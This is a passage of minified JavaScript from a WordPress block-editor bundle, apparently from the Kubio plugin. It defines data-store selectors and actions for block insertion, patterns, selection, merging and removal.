i=e.wp_pattern_sync_status?At:{src:At,foreground:"var(--wp-block-synced-color)"},r=`core/block/${e.id}`,{time:l,count:s=0}=xi(t,r)||{},a=wi(l,s);return{id:r,name:"core/block",initialAttributes:{ref:e.id},title:null===(n=e.title)||void 0===n?void 0:n.raw,icon:i,category:"reusable",keywords:["reusable"],isDisabled:!1,utility:1,frecency:a,content:null===(o=e.content)||void 0===o?void 0:o.raw,syncStatus:e.wp_pattern_sync_status}})):[],r=Ci(t,{buildScope:"inserter"});let l=(0,c.getBlockTypes)().filter((e=>(0,c.hasBlockSupport)(e,"inserter",!0))).map(r);l=!1!==o[An]?l.filter((e=>Si(t,e,n))):l.filter((e=>pi(t,e,n))).map((e=>({...e,isAllowedInCurrentRoot:Si(t,e,n)})));const s=l.reduce(((e,n)=>{const{variations:o=[]}=n;if(o.some((({isDefault:e})=>e))||e.push(n),o.length){const i=((e,t)=>n=>{const o=`${t.id}/${n.name}`,{time:i,count:r=0}=xi(e,o)||{};return{...t,id:o,icon:n.icon||t.icon,title:n.title||t.title,description:n.description||t.description,category:n.category||t.category,example:n.hasOwnProperty("example")?n.example:t.example,initialAttributes:{...t.initialAttributes,...n.attributes},innerBlocks:n.innerBlocks,keywords:n.keywords||t.keywords,frecency:wi(i,r)}})(t,n);o.forEach((t=>{!t.isDefault&&(0,oe.isGutentagPrefixed)(n.name)||e.push(i(t))}))}return e}),[]),{core:a,noncore:u}=s.reduce(((e,t)=>{const{core:n,noncore:o}=e;return(t.name.startsWith("core/")?n:o).push(t),e}),{core:[],noncore:[]});return[...a,...u,...i]}),((t,n)=>[(0,c.getBlockTypes)(),ge(e(Ot)).getReusableBlocks(),t.blocks.order,t.preferences.insertUsage,...Hn(e)(t,n)])))),Ii=(0,d.createRegistrySelector)((e=>Mt(((e,t,n=null)=>{const o=Array.isArray(t)?t:[t],i=Ci(e,{buildScope:"transform"}),r=(0,c.getBlockTypes)().filter((t=>Si(e,t,n))).map(i),l=Object.fromEntries(Object.entries(r).map((([,e])=>[e.name,e]))),s=(0,c.getPossibleBlockTransformations)(o).reduce(((e,t)=>(l[null==t?void 0:t.name]&&e.push(l[t.name]),e)),[]);return Dt(s,(e=>l[e.name].frecency),"desc")}),((t,n,o)=>[(0,c.getBlockTypes)(),t.preferences.insertUsage,...Hn(e)(t,o)])))),ji=(0,d.createRegistrySelector)((e=>(t,n=null)=>!!(0,c.getBlockTypes)().some((e=>Si(t,e,n)))||hi(t,"core/block",n)&&ge(e(Ot)).getReusableBlocks().length>0)),Ei=(0,d.createRegistrySelector)((e=>Mt(((t,n=null)=>{if(!n)return;const o=(0,c.getBlockTypes)().filter((e=>Si(t,e,n)));return hi(t,"core/block",n)&&ge(e(Ot)).getReusableBlocks().length>0&&o.push("core/block"),o}),((t,n)=>[(0,c.getBlockTypes)(),ge(e(Ot)).getReusableBlocks(),...Hn(e)(t,n)])))),Ti=Mt(((e,t=null)=>(Ye()('wp.data.select( "core/block-editor" ).__experimentalGetAllowedBlocks',{alternative:'wp.data.select( "core/block-editor" ).getAllowedBlocks',since:"6.2",version:"6.4"}),Ei(e,t))),((e,t)=>Ei.getDependants(e,t)));function Pi(e,t=null){var n;if(!t)return;const{defaultBlock:o,directInsert:i}=null!==(n=e.blockListSettings[t])&&void 0!==n?n:{};return o&&i?o:void 0}function Mi(e,t=null){return Ye()('wp.data.select( "core/block-editor" ).__experimentalGetDirectInsertBlock',{alternative:'wp.data.select( "core/block-editor" ).getDirectInsertBlock',since:"6.3",version:"6.4"}),Pi(e,t)}const Ri=(0,d.createRegistrySelector)((e=>Mt(((t,n)=>{const o=ge(e(Ot)).getPatternBySlug(n);if(!o)return null;let i=o.content;var r;return(0,se.isString)(i)&&(i=(0,c.parse)(o.content,{__unstableSkipMigrationLogs:!0})),1===i.length&&(i[0].attributes={...i[0].attributes,metadata:{...i[0].attributes.metadata||{},categories:o.categories,patternName:o.name,name:(null===(r=i[0].attributes.metadata)||void 0===r?void 0:r.name)||o.title}}),{...o,blocks:i}}),((t,n)=>[ge(e(Ot)).getPatternBySlug(n)])))),Ni=e=>(t,n)=>[...Vn(e)(t),...Hn(e)(t,n)],Ai=(0,d.createRegistrySelector)((e=>Mt(((t,n=null,o=Kn)=>{const{getAllPatterns:i}=ge(e(Ot)),r=i(),{allowedBlockTypes:l}=Ui(t),s=r.filter((({inserter:e=!0})=>!!e)).map((e=>({...e,get blocks(){return function(e){let t=Ln.get(e);return t||(t=function(e){const t=(0,c.parse)(e.content,{__unstableSkipMigrationLogs:!0});var n;return 1===t.length&&(t[0].attributes={...t[0].attributes,metadata:{...t[0].attributes.metadata||{},categories:e.categories,patternName:e.name,name:(null===(n=t[0].attributes.metadata)||void 0===n?void 0:n.name)||e.title}}),{...e,blocks:t}}(e),Ln.set(e,t)),t}(e).blocks}})));return s.filter((e=>Fn(On(e),l))).filter((e=>On(e).every((({blockName:e})=>!1!==o[An]?gi(t,e,n):pi(t,e,n)))))}),Ni(e)))),Li=Mt((e=>{var t;return null==e||null===(t=e.settings)||void 0===t?void 0:t.__experimentalUserPatternCategories}),(e=>[e.settings.__experimentalUserPatternCategories])),Di=Mt((e=>{const t=e.settings.__experimentalBlockPatterns,n=getUserPatterns(e),{allowedBlockTypes:o}=Ui(e),i=[...n,...t].filter((({inserter:e=!0})=>!!e)).map((({name:t})=>Ri(e,t))),r=i.filter((({blocks:e})=>Fn(e,o)));return r}),(e=>{var t;return[e.settings.__experimentalBlockPatterns,e.settings.__experimentalReusableBlocks,e.settings.allowedBlockTypes,null==e||null===(t=e.settings)||void 0===t?void 0:t.__experimentalUserPatternCategories]})),Oi=Mt(((e,t=null)=>{const n=Di(e).filter((({blocks:n})=>n.every((({name:n})=>gi(e,n,t)))));return n}),((e,t)=>[e.settings.__experimentalBlockPatterns,e.settings.__experimentalReusableBlocks,e.settings.allowedBlockTypes,e.settings.templateLock,e.blockListSettings[t],e.blocks.byClientId.get(t)])),zi=Mt(((e,t,n=null)=>{if(!t)return Un;const o=Oi(e,n),i=Array.isArray(t)?t:[t],r=o.filter((e=>{var t,n;return null==e||null===(t=e.blockTypes)||void 0===t||null===(n=t.some)||void 0===n?void 0:n.call(t,(e=>i.includes(e)))}));return 0===r.length?Un:r}),((e,t,n)=>[...Oi.getDependants(e,n)])),Fi=(0,d.createRegistrySelector)((e=>Mt(((t,n,o=null)=>{if(!n)return Un;const i=e(Ot).__experimentalGetAllowedPatterns(o),r=Array.isArray(n)?n:[n],l=i.filter((e=>{var t,n;return null==e||null===(t=e.blockTypes)||void 0===t||null===(n=t.some)||void 0===n?void 0:n.call(t,(e=>r.includes(e)))}));return 0===l.length?Un:l}),((t,n,o)=>Ni(e)(t,o))))),Vi=(0,oe.wpVersionCompare)("6.4","<=")?zi:Fi,Hi=(0,d.createRegistrySelector)((e=>(Ye()('wp.data.select( "core/block-editor" ).__experimentalGetPatternsByBlockTypes',{alternative:'wp.data.select( "core/block-editor" ).getPatternsByBlockTypes',since:"6.2",version:"6.4"}),e(Ot).getPatternsByBlockTypes))),Gi=(0,d.createRegistrySelector)((e=>Mt(((t,n,o=null)=>{if(!n)return Un;if(n.some((({clientId:e,innerBlocks:n})=>n.length||or(t,e))))return Un;const i=Array.from(new Set(n.map((({name:e})=>e))));return e(Ot).getPatternsByBlockTypes(i,o)}),((t,n,o)=>Ni(e)(t,o)))));function $i(e,t){return e.blockListSettings[t]}function Ui(e){return e.settings}function Wi(e){return e.settings.behaviors}function Ki(e){return e.blocks.isPersistentChange}const Zi=Mt(((e,t=[])=>t.reduce(((t,n)=>e.blockListSettings[n]?{...t,[n]:e.blockListSettings[n]}:t),{})),(e=>[e.blockListSettings])),qi=(0,d.createRegistrySelector)((e=>Mt(((t,n)=>{var o;Ye()("wp.data.select( 'core/block-editor' ).__experimentalGetReusableBlockTitle",{since:"6.6",version:"6.8"});const i=ge(e(Ot)).getReusableBlocks().find((e=>e.id===n));return i?null===(o=i.title)||void 0===o?void 0:o.raw:null}),(()=>[ge(e(Ot)).getReusableBlocks()]))));function Yi(e){return e.blocks.isIgnoredChange}function Xi(e){return e.lastBlockAttributesChange}function Qi(e){return"navigation"===Ji(e)}const Ji=(0,d.createRegistrySelector)((e=>t=>{var n,o;return null!==(n=window)&&void 0!==n&&n.__experimentalEditorWriteMode?null!==(o=t.settings.editorTool)&&void 0!==o?o:e(Gn.store).get("core","editorTool"):"edit"}));function er(){return Ye()('wp.data.select( "core/block-editor" ).hasBlockMovingClientId',{since:"6.7",hint:"Block moving mode feature has been removed"}),!1}function tr(e){return!!e.automaticChangeStatus}function nr(e,t){return e.highlightedBlock===t}function or(e,t){return!!e.blocks.controlledInnerBlocks[t]}const ir=Mt(((e,t)=>{if(!t.length)return null;const n=ko(e);if(t.includes(Yn(e,n)))return n;const o=Po(e),i=So(e,n||o[0],t);return i?i[i.length-1]:null}),((e,t)=>[e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId,t]));function rr(e,t,n){var o;const{lastBlockInserted:i}=e;return(null===(o=i.clientIds)||void 0===o?void 0:o.includes(t))&&i.source===n}function lr(e,t){var n,o;return null===(n=null===(o=e.blockVisibility)||void 0===o?void 0:o[t])||void 0===n||n}function sr(e){return e.hoveredBlockClientId}const ar=Mt((e=>{const t=new Set(Object.keys(e.blockVisibility).filter((t=>e.blockVisibility[t])));return 0===t.size?Wn:t}),(e=>[e.blockVisibility])),cr=Mt(((e,t)=>{let n,o=t;for(;o=e.blocks.parents.get(o);)"core/block"!==Yn(e,o)&&"contentOnly"!==di(e,o)||(n=o);return n}),(e=>[e.blocks.parents,e.blockListSettings]));function ur(e){return e.temporarilyEditingAsBlocks}function dr(e){return e.temporarilyEditingFocusModeRevert}function pr(e,t){if("default"!==gr(e,t))return!1;if(!_i(e,t))return!0;if(Tn(e)){const n=En(e);if(n){const o=Uo(e,n);if(null!=o&&o.includes(t))return!0}else if(t&&!yo(e,t))return!0}return!(0,c.hasBlockSupport)(Yn(e,t),"__experimentalDisableBlockOverlay",!1)&&or(e,t)&&!Ko(e,t)&&!Zo(e,t,!0)}function hr(e,t){let n=e.blocks.parents.get(t);for(;n;){if(pr(e,n))return!0;n=e.blocks.parents.get(n)}return!1}const gr=(0,d.createRegistrySelector)((e=>(t,n="")=>{var o,i;null===n&&(n="");const r=Qi(t);if(!r&&null!==(o=t.derivedBlockEditingModes)&&void 0!==o&&o.has(n))return t.derivedBlockEditingModes.get(n);if(r&&null!==(i=t.derivedNavModeBlockEditingModes)&&void 0!==i&&i.has(n))return t.derivedNavModeBlockEditingModes.get(n);const l=t.blockEditingModes.get(n);if(l)return l;if(""===n)return"default";if("contentOnly"===di(t,yo(t,n))){const o=Yn(t,n),{hasContentRoleAttribute:i}=ge(e(c.store));return i(o)?"contentOnly":"disabled"}return"default"})),fr=(0,d.createRegistrySelector)((e=>(t,n="")=>{var o,i;const r=n||ko(t);if(!r)return!1;const{getGroupingBlockName:l}=e(c.store),s=Jn(t,r),a=l();return s&&(s.name===a||(null===(o=(0,c.getBlockType)(s.name))||void 0===o||null===(i=o.transforms)||void 0===i?void 0:i.ungroup))&&!!s.innerBlocks.length&&mi(t,r)})),mr=(0,d.createRegistrySelector)((e=>(t,n=Un)=>{const{getGroupingBlockName:o}=e(c.store),i=o(),r=null!=n&&n.length?n:To(t),l=null!=r&&r.length?yo(t,r[0]):void 0;return gi(t,i,l)&&r.length&&vi(t,r)}));function vr(e,t){var n;const{lastBlockRemoved:o}=e;return null===(n=o.clientIds)||void 0===n?void 0:n.includes(t)}const br=window.wp.a11y,kr=new WeakSet,_r=["inserterMediaCategories","blockInspectorAnimation"];function yr(e,{stripExperimentalSettings:t=!1,reset:n=!1}={}){let o=e;Object.hasOwn(o,"__unstableIsPreviewMode")&&(Ye()("__unstableIsPreviewMode argument in wp.data.dispatch('core/block-editor').updateSettings",{since:"6.8",alternative:"isPreviewMode"}),o={...o},o.isPreviewMode=o.__unstableIsPreviewMode,delete o.__unstableIsPreviewMode);let i=o;if(t&&"web"===u.Platform.OS){i={};for(const e in o)_r.includes(e)||(i[e]=o[e])}return{type:"UPDATE_SETTINGS",settings:i,reset:n}}function xr(){return{type:"HIDE_BLOCK_INTERFACE"}}function Sr(){return{type:"SHOW_BLOCK_INTERFACE"}}const wr=(e,t=!0,n=!1)=>({select:o,dispatch:i,registry:r})=>{if(!e||!e.length)return;var l;l=e,e=Array.isArray(l)?l:[l];const s=o.getBlockRootClientId(e[0]);if(!o.canRemoveBlocks(e,s))return;const a=!n&&o.getBlockRemovalRules();if(a){const n=new Set,r=[...e];let l="templates";for(;r.length;){const e=r.shift(),t=o.getBlockName(e);if(a[t]&&n.add(t),a["bindings/core/pattern-overrides"]){var c;const i=o.getBlockParentsByBlockName(e,"core/block");if((null==i?void 0:i.length)>0)continue;const r=o.getBlockAttributes(e);null!=r&&null!==(c=r.metadata)&&void 0!==c&&c.bindings&&JSON.stringify(r.metadata.bindings).includes("core/pattern-overrides")&&(n.add(t),l="patternOverrides")}const i=o.getBlockOrder(e);r.push(...i)}if(n.size)return void i(function(e,t,n,o){return{type:"DISPLAY_BLOCK_REMOVAL_PROMPT",clientIds:e,selectPrevious:t,blockNamesForPrompt:n,messageType:o}}(e,t,Array.from(n),l))}t&&i.selectPreviousBlock(e[0],t),r.batch((()=>{i({type:"REMOVE_BLOCKS",clientIds:e}),i(Cr())}))},Cr=()=>({select:e,dispatch:t})=>{if(e.getBlockCount()>0)return;const{__unstableHasCustomAppender:n}=e.getSettings();n||t.insertDefaultBlock()};function Br(){return{type:"CLEAR_BLOCK_REMOVAL_PROMPT"}}function Ir(e=!1){return{type:"SET_BLOCK_REMOVAL_RULES",rules:e}}function jr(e){return{type:"SET_OPENED_BLOCK_SETTINGS_MENU",clientId:e}}function Er(e,t){return{type:"SET_STYLE_OVERRIDE",id:e,style:t}}function Tr(e){return{type:"DELETE_STYLE_OVERRIDE",id:e}}function Pr(e){return({dispatch:t,select:n,registry:o})=>{o.batch((()=>{t({type:"SET_EXPLICIT_PERSISTENT",isPersistentChange:!1}),e(),t({type:"SET_EXPLICIT_PERSISTENT",isPersistentChange:void 0});const o=n.getBlocks();kr.add(o)}))}}function Mr(e=null){return{type:"LAST_FOCUS",lastFocus:e}}function Rr(e){return({select:t,dispatch:n})=>{const o=t.__unstableGetTemporarilyEditingFocusModeToRevert();n.__unstableMarkNextChangeAsNotPersistent(),n.updateBlockAttributes(e,{templateLock:"contentOnly"}),n.updateBlockListSettings(e,{...t.getBlockListSettings(e),templateLock:"contentOnly"}),n.updateSettings({focusMode:o}),n.__unstableSetTemporarilyEditingAsBlocks()}}function Nr(e){return{type:"REGISTER_BLOCK_BINDINGS_SOURCE",sourceName:e.name,sourceLabel:e.label,useSource:e.useSource,lockAttributesEditing:e.lockAttributesEditing}}function Ar(){return{type:"START_DRAGGING"}}function Lr(){return{type:"STOP_DRAGGING"}}function Dr(e){return{type:"SET_BLOCK_EXPANDED_IN_LIST_VIEW",clientId:e}}function Or(e){return{type:"SET_INSERTION_POINT",value:e}}const zr=e=>({select:t,dispatch:n})=>{n.selectBlock(e),n.__unstableMarkNextChangeAsNotPersistent(),n.updateBlockAttributes(e,{templateLock:void 0}),n.updateBlockListSettings(e,{...t.getBlockListSettings(e),templateLock:!1});const o=t.getSettings().focusMode;n.updateSettings({focusMode:!0}),n.__unstableSetTemporarilyEditingAsBlocks(e,o)},Fr=(e=100)=>({select:t,dispatch:n})=>{if(100!==e){const e=t.getBlockSelectionStart(),o=t.getSectionRootClientId();if(e){let i;if(o){const n=t.getBlockOrder(o);i=null!=n&&n.includes(e)?e:t.getBlockParents(e).find((e=>n.includes(e)))}else i=t.getBlockHierarchyRootClientId(e);i?n.selectBlock(i):n.clearSelectedBlock(),(0,br.speak)((0,Je.__)("You are currently in zoom-out mode."))}}n({type:"SET_ZOOM_LEVEL",zoom:e})};function Vr(){return{type:"RESET_ZOOM_LEVEL"}}const Hr=()=>async({dispatch:e,select:t})=>{const{__experimentalFetchBlockPatterns:n}=t.getSettings();if(!n)return[];e({type:"RECEIVE_BLOCK_PATTERNS",patterns:await n()})};Hr.shouldInvalidate=e=>"UPDATE_SETTINGS"===e.type&&!!e.settings.__experimentalFetchBlockPatterns;const Gr="";function $r(e){if(e)return Object.keys(e).find((t=>{const n=e[t];return("string"==typeof n||n instanceof Lt.RichTextData)&&-1!==n.toString().indexOf(Gr)}))}const Ur=e=>Array.isArray(e)?e:[e],Wr=e=>({dispatch:t})=>{t({type:"RESET_BLOCKS",blocks:e}),t(Kr(e))},Kr=e=>({select:t,dispatch:n})=>{const o=t.getTemplate(),i=t.getTemplateLock(),r=!o||"all"!==i||(0,c.doBlocksMatchTemplate)(e,o);if(r!==t.isValidTemplate())return n.setTemplateValidity(r),r};function Zr(e,t,n){return{type:"RESET_SELECTION",selectionStart:e,selectionEnd:t,initialPosition:n}}function qr(e){return Ye()('wp.data.dispatch( "core/block-editor" ).receiveBlocks',{since:"5.9",alternative:"resetBlocks or insertBlocks"}),{type:"RECEIVE_BLOCKS",blocks:e}}function Yr(e,t,n=!1){return{type:"UPDATE_BLOCK_ATTRIBUTES",clientIds:Ur(e),attributes:t,uniqueByBlock:n}}function Xr(e,t){return{type:"UPDATE_BLOCK",clientId:e,updates:t}}const Qr=(e,t=0)=>({select:n,dispatch:o})=>{const i=n.getBlock(e);if((0,h.applyFilters)("kubio.can_select_block",!0,i,n))return o({type:"SELECT_BLOCK",initialPosition:t,clientId:e})};function Jr(e){return{type:"HOVER_BLOCK",clientId:e}}const el=(e,t=!1)=>({select:n,dispatch:o})=>{const i=n.getPreviousBlockClientId(e);if(i)o.selectBlock(i,-1);else if(t){const t=n.getBlockRootClientId(e);t&&o.selectBlock(t,-1)}},tl=e=>({select:t,dispatch:n})=>{const o=t.getNextBlockClientId(e);o&&n.selectBlock(o)};function nl(){return{type:"START_MULTI_SELECT"}}function ol(){return{type:"STOP_MULTI_SELECT"}}const il=(e,t,n=0)=>({select:e,dispatch:t})=>{};function rl(){return{type:"CLEAR_SELECTED_BLOCK"}}function ll(e=!0){return{type:"TOGGLE_SELECTION",isSelectionEnabled:e}}function sl(e,t){var n,o;const i=null!==(n=null==t||null===(o=t.__experimentalPreferredStyleVariations)||void 0===o?void 0:o.value)&&void 0!==n?n:{};return e.map((e=>{var t;const n=e.name;if(!(0,c.hasBlockSupport)(n,"defaultStylePicker",!0))return e;if(!i[n])return e;const o=null===(t=e.attributes)||void 0===t?void 0:t.className;if(null!=o&&o.includes("is-style-"))return e;const{attributes:r={}}=e,l=i[n];return{...e,attributes:{...r,className:`${o||""} is-style-${l}`.trim()}}}))}const al=(e,t,n,o=0,i)=>({select:r,dispatch:l,registry:s})=>{e=Ur(e),t=sl(Ur(t),r.getSettings());const a=r.getBlockRootClientId(e[0]);for(let e=0;e<t.length;e++){const n=t[e];if(!r.canInsertBlockType(n.name,a))return}s.batch((()=>{l({type:"REPLACE_BLOCKS",clientIds:e,blocks:t,time:Date.now(),indexToSelect:n,initialPosition:o,meta:i}),l.ensureDefaultBlock()}))};function cl(e,t){return al(e,t)}const ul=e=>(t,n)=>({select:o,dispatch:i})=>{o.canMoveBlocks(t,n)&&i({type:e,clientIds:Ur(t),rootClientId:n})},dl=ul("MOVE_BLOCKS_DOWN"),pl=ul("MOVE_BLOCKS_UP"),hl=(e,t="",n="",o)=>({select:i,dispatch:r})=>{if(i.canMoveBlocks(e)){if(t!==n){if(!i.canRemoveBlocks(e))return;if(!i.canInsertBlocks(e,n))return}r({type:"MOVE_BLOCKS_TO_POSITION",fromRootClientId:t,toRootClientId:n,clientIds:e,index:o})}};function gl(e,t="",n="",o){return hl([e],t,n,o)}function fl(e,t,n,o,i){return ml([e],t,n,o,0,i)}const ml=(e,t,n,o=!0,i=0,r)=>({select:l,dispatch:s})=>{null!==i&&"object"==typeof i&&(r=i,i=0,Ye()("meta argument in wp.data.dispatch('core/block-editor')",{since:"5.8",hint:"The meta argument is now the 6th argument of the function"})),e=sl(Ur(e),l.getSettings());const a=[];for(const t of e)l.canInsertBlockType(t.name,n)&&a.push(t);a.length&&s({type:"INSERT_BLOCKS",blocks:a,index:t,rootClientId:n,time:Date.now(),updateSelection:o,initialPosition:o?i:null,meta:r})};function vl(e,t,n={}){const{__unstableWithInserter:o,operation:i,kubioInsertionEdge:r}=n;return{type:"SHOW_INSERTION_POINT",rootClientId:e,index:t,__unstableWithInserter:o,operation:i,kubioInsertionEdge:r}}const bl=()=>({select:e,dispatch:t})=>{e.isBlockInsertionPointVisible()&&t({type:"HIDE_INSERTION_POINT"})};function kl(e){return{type:"SET_TEMPLATE_VALIDITY",isValid:e}}const _l=()=>({select:e,dispatch:t})=>{t({type:"SYNCHRONIZE_TEMPLATE"});const n=e.getBlocks(),o=e.getTemplate(),i=(0,c.synchronizeBlocksWithTemplate)(n,o);t.resetBlocks(i)},yl=e=>({registry:t,select:n,dispatch:o})=>{const i=n.getSelectionStart(),r=n.getSelectionEnd();if(i.clientId===r.clientId)return;if(!i.attributeKey||!r.attributeKey||void 0===i.offset||void 0===r.offset)return!1;const l=n.getBlockRootClientId(i.clientId);if(l!==n.getBlockRootClientId(r.clientId))return;const s=n.getBlockOrder(l);let a,u;s.indexOf(i.clientId)>s.indexOf(r.clientId)?(a=r,u=i):(a=i,u=r);const d=e?u:a,p=n.getBlock(d.clientId),h=(0,c.getBlockType)(p.name);if(!h.merge)return;const g=a,f=u,m=n.getBlock(g.clientId),v=n.getBlock(f.clientId),b=m.attributes[g.attributeKey],k=v.attributes[f.attributeKey];let _=(0,Lt.create)({html:b}),y=(0,Lt.create)({html:k});_=(0,Lt.remove)(_,g.offset,_.text.length),y=(0,Lt.insert)(y,Gr,0,f.offset);const x=(0,c.cloneBlock)(m,{[g.attributeKey]:(0,Lt.toHTMLString)({value:_})}),S=(0,c.cloneBlock)(v,{[f.attributeKey]:(0,Lt.toHTMLString)({value:y})}),w=e?x:S,C=m.name===v.name?[w]:(0,c.switchToBlockType)(w,h.name);if(!C||!C.length)return;let B;if(e){const e=C.pop();B=h.merge(e.attributes,S.attributes)}else{const e=C.shift();B=h.merge(x.attributes,e.attributes)}const I=$r(B),j=B[I],E=(0,Lt.create)({html:j}),T=E.text.indexOf(Gr),P=(0,Lt.remove)(E,T,T+1),M=(0,Lt.toHTMLString)({value:P});B[I]=M;const R=n.getSelectedBlockClientIds(),N=[...e?C:[],{...p,attributes:{...p.attributes,...B}},...e?[]:C];t.batch((()=>{o.selectionChange(p.clientId,I,T,T),o.replaceBlocks(R,N,0,n.getSelectedBlocksInitialCaretPosition())}))},xl=(e=[])=>({registry:t,select:n,dispatch:o})=>{var i;const r=n.getSelectionStart(),l=n.getSelectionEnd(),s=n.getBlockRootClientId(r.clientId),a=n.getBlockRootClientId(l.clientId);if(s!==a)return;const u=n.getBlockOrder(s);let d,p;u.indexOf(r.clientId)>u.indexOf(l.clientId)?(d=l,p=r):(d=r,p=l);const h=d,g=p,f=n.getBlock(h.clientId),m=n.getBlock(g.clientId),v=(0,c.getBlockType)(f.name),b=(0,c.getBlockType)(m.name),k="string"==typeof h.attributeKey?h.attributeKey:findRichTextAttributeKey(v),_="string"==typeof g.attributeKey?g.attributeKey:findRichTextAttributeKey(b),y=n.getBlockAttributes(h.clientId),x=null==y||null===(i=y.metadata)||void 0===i?void 0:i.bindings;if(null!=x&&x[k]){if(e.length){const{createWarningNotice:O}=t.dispatch(noticesStore);return void O((0,Je.__)("Blocks can't be inserted into other blocks with bindings","kubio"),{type:"snackbar"})}return void o.insertAfterBlock(h.clientId)}if(!k||!_||void 0===r.offset||void 0===l.offset)return;if(h.clientId===g.clientId&&k===_&&h.offset===g.offset)if(e.length){if((0,c.isUnmodifiedDefaultBlock)(f))return void o.replaceBlocks([h.clientId],e,e.length-1,-1)}else if(!n.getBlockOrder(h.clientId).length){function z(){const e=(0,c.getDefaultBlockName)();return n.canInsertBlockType(e,s)?(0,c.createBlock)(e):(0,c.createBlock)(n.getBlockName(h.clientId))}const F=y[k].length;if(0===h.offset&&F)return void o.insertBlocks([z()],n.getBlockIndex(h.clientId),s,!1);if(h.offset===F)return void o.insertBlocks([z()],n.getBlockIndex(h.clientId)+1,s)}const S=f.attributes[k],w=m.attributes[_];let C=(0,Lt.create)({html:S}),B=(0,Lt.create)({html:w});C=(0,Lt.remove)(C,h.offset,C.text.length),B=(0,Lt.remove)(B,0,g.offset);let I={...f,innerBlocks:f.clientId===m.clientId?[]:f.innerBlocks,attributes:{...f.attributes,[k]:(0,Lt.toHTMLString)({value:C})}},j={...m,clientId:f.clientId===m.clientId?(0,c.createBlock)(m.name).clientId:m.clientId,attributes:{...m.attributes,[_]:(0,Lt.toHTMLString)({value:B})}};const E=(0,c.getDefaultBlockName)();if(f.clientId===m.clientId&&E&&j.name!==E&&n.canInsertBlockType(E,s)){const V=(0,c.switchToBlockType)(j,E);1===(null==V?void 0:V.length)&&(j=V[0])}if(!e.length)return void o.replaceBlocks(n.getSelectedBlockClientIds(),[I,j]);let T;const P=[],M=[...e],R=M.shift(),N=(0,c.getBlockType)(I.name),A=N.merge&&R.name===N.name?[R]:(0,c.switchToBlockType)(R,N.name);if(null!=A&&A.length){const H=A.shift();I={...I,attributes:{...I.attributes,...N.merge(I.attributes,H.attributes)}},P.push(I),T={clientId:I.clientId,attributeKey:k,offset:(0,Lt.create)({html:I.attributes[k]}).text.length},M.unshift(...A)}else(0,c.isUnmodifiedBlock)(I)||P.push(I),P.push(R);const L=M.pop(),D=(0,c.getBlockType)(j.name);if(M.length&&P.push(...M),L){const G=D.merge&&D.name===L.name?[L]:(0,c.switchToBlockType)(L,D.name);if(null!=G&&G.length){const $=G.pop();P.push({...j,attributes:{...j.attributes,...D.merge($.attributes,j.attributes)}}),P.push(...G),T={clientId:j.clientId,attributeKey:_,offset:(0,Lt.create)({html:$.attributes[_]}).text.length}}else P.push(L),(0,c.isUnmodifiedBlock)(j)||P.push(j)}else(0,c.isUnmodifiedBlock)(j)||P.push(j);t.batch((()=>{o.replaceBlocks(n.getSelectedBlockClientIds(),P,P.length-1,0),T&&o.selectionChange(T.clientId,T.attributeKey,T.offset,T.offset)}))},Sl=()=>({select:e,dispatch:t})=>{const n=e.getSelectionStart(),o=e.getSelectionEnd();t.selectionChange({start:{clientId:n.clientId},end:{clientId:o.clientId}})},wl=(e,t)=>({registry:n,select:o,dispatch:i})=>{const r=e,l=t,s=o.getBlock(r),a=(0,c.getBlockType)(s.name);if(!a)return;const u=o.getBlock(l);if(!a.merge&&(0,c.getBlockSupport)(s.name,"__experimentalOnMerge")){const e=(0,c.switchToBlockType)(u,a.name);if(1!==(null==e?void 0:e.length))return void i.selectBlock(s.clientId);const[t]=e;return t.innerBlocks.length<1?void i.selectBlock(s.clientId):void n.batch((()=>{i.insertBlocks(t.innerBlocks,void 0,r),i.removeBlock(l),i.selectBlock(t.innerBlocks[0].clientId);const e=o.getNextBlockClientId(r);if(e&&o.getBlockName(r)===o.getBlockName(e)){const t=o.getBlockAttributes(r),n=o.getBlockAttributes(e);Object.keys(t).every((e=>t[e]===n[e]))&&(i.moveBlocksToPosition(o.getBlockOrder(e),e,r),i.removeBlock(e,!1))}}))}if((0,c.isUnmodifiedDefaultBlock)(s))return void i.removeBlock(r,o.isBlockSelected(r));if((0,c.isUnmodifiedDefaultBlock)(u))return void i.removeBlock(l,o.isBlockSelected(l));if(!a.merge)return void i.selectBlock(s.clientId);const d=(0,c.getBlockType)(u.name),{clientId:p,attributeKey:h,offset:g}=o.getSelectionStart(),f=(p===r?a:d).attributes[h],m=(p===r||p===l)&&void 0!==h&&void 0!==g&&!!f;f||("number"==typeof h?window.console.error("RichText needs an identifier prop that is the block attribute key of the attribute it controls. Its type is expected to be a string, but was "+typeof h):window.console.error("The RichText identifier prop does not match any attributes defined by the block."));const v=(0,c.cloneBlock)(s),b=(0,c.cloneBlock)(u);if(m){const e=p===r?v:b,t=e.attributes[h],n=(0,Lt.insert)((0,Lt.create)({html:t}),Gr,g,g);e.attributes[h]=(0,Lt.toHTMLString)({value:n})}const k=s.name===u.name?[b]:(0,c.switchToBlockType)(b,s.name);if(!k||!k.length)return;const _=a.merge(v.attributes,k[0].attributes);if(m){const e=$r(_),t=_[e],n=(0,Lt.create)({html:t}),o=n.text.indexOf(Gr),r=(0,Lt.remove)(n,o,o+1),l=(0,Lt.toHTMLString)({value:r});_[e]=l,i.selectionChange(s.clientId,e,o,o)}i.replaceBlocks([s.clientId,u.clientId],[{...s,attributes:{...s.attributes,..._}},...k.slice(1)],0)},Cl=(e,t=!0)=>wr(e,t);function Bl(e,t){return Cl([e],t)}function Il(e,t,n=!1,o=0){return{type:"REPLACE_INNER_BLOCKS",rootClientId:e,blocks:t,updateSelection:n,initialPosition:n?o:null,time:Date.now()}}function jl(e){return{type:"TOGGLE_BLOCK_MODE",clientId:e}}function El(){return{type:"START_TYPING"}}function Tl(){return{type:"STOP_TYPING"}}function Pl(e=[]){return{type:"START_DRAGGING_BLOCKS",clientIds:e}}function Ml(){return{type:"STOP_DRAGGING_BLOCKS"}}function Rl(){return Ye()('wp.data.dispatch( "core/block-editor" ).enterFormattedText',{since:"6.1",version:"6.3"}),{type:"DO_NOTHING"}}function Nl(){return Ye()('wp.data.dispatch( "core/block-editor" ).exitFormattedText',{since:"6.1",version:"6.3"}),{type:"DO_NOTHING"}}function Al(e,t,n,o){return"string"==typeof e?{type:"SELECTION_CHANGE",clientId:e,attributeKey:t,startOffset:n,endOffset:o}:{type:"SELECTION_CHANGE",...e}}const Ll=(e,t,n)=>({dispatch:o})=>{const i=(0,c.getDefaultBlockName)();if(!i)return;const r=(0,c.createBlock)(i,e);return 